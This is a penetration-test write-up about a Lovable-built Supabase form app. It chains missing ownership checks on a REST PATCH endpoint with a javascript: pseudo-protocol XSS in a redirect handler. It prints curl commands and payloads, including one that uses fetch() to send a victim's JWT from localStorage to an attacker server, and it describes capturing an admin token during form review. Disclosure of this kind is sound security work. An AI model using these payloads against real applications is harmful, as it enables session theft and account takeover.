From BOLA to Account Takeover via XSS Using the javascript: Pseudo-Protocol

A few months ago, a group of friends building a startup asked me to perform a penetration test on their web application.This application was built using Lovable (an AI web builder). These days, it is popular as a tool for non-technical users to build their own web applications with AI. This kind of engagement was what I was looking for at the time, as I needed to evaluate the actual capabilities of AI rather than rely on AI generated Linkedin or Youtube contents.

The app was a Supabase-backed form builder where users could create forms to collect structured data surveys and feedbacks. Each form required admin approval before going live, acting as a moderation layer. I was given a test account and uncovered several issues, all of the bugs were straightforward and easily exploitable. In my opinion, Lovable is currently not a suitable tool for non-technical users.

However, this write-up focuses on two specific findings, which, when chained together, led to full account takeover, including the admin user.

BOLA: Anyone Can Modify Anyone's Data

While analyzing the form editing flow, I noticed the application sent a PATCH request directly to the Supabase REST API when updating a form:

curl -k -X PATCH "https://<project>.supabase.co/rest/v1/forms?id=eq.$FORM_ID" \
-H "authorization: Bearer $JWT" \
-H "apikey: $APIKEY" \
-H "Content-Type: application/json" \
-d '{"title": "Updated Title"}'

At first glance, this looked normal. But two issues stood out.

First, the API accepted any FORM_ID not just forms owned by the user. There was no object-level ownership check.

Second, any form field could be updated, including sensitive fields like is_approved and status, which were writable.

This meant any authenticated user could modify any form in the system, including approving forms by sending:

-d '{"is_approved": true, "status": "accepted"}'

The backend only verified that the JWT was valid, it never checked whether the user was authorized to modify the target resource.

XSS via javascript pseudo-protocol

With write access to arbitrary form fields, I looked for impact. Stored XSS wasn't useful due to HTML Entity Encoding, so injecting scripts into rendered content wouldn't execute.

However, the application used a two-step redirection flow. Each form had:

When a user clicked the short URL, they were first taken to a dedicated handler page, which then performed a client-side redirect to the value stored in form_url.

When using the earlier mentioned IDOR, after modifying form_url, the backend did not validate form_url, and the redirect page blindly trusted it and redirected users to the specified page. I also tested the javascript: pseudo-protocol, and it updated the form and rendered an alert when clicking the form URL button via the UI.

-d '{"form_url": "javascript:alert(1)"}'

When visiting the short URL, the handler page executed the payload during the redirect.

There was no Content Security Policy, so nothing prevented execution. Since Supabase stores session tokens in localStorage, I escalated the payload to exfiltrate the JWT:

-d "{\"form_url\": \"javascript:fetch('https://MY_SERVER/?jwt='+localStorage.getItem('<token-key>'))\"}"

When a victim visited the short URL, the redirect page executed the payload and sent their token to my server.

Admin Account Takeover

Earlier method could steal the JWT of users who interacted with the form. However, it was unlikely that the admin would visit the form after reviewing it.

For admin account takeover, an attacker can create a malicious form with a javascript: payload in form_url. Since forms require admin approval, the next step is to get the form reviewed. During this process, an admin visits the form via its short URL, which loads the redirect handler page, triggering the payload and exfiltrating the admin’s JWT.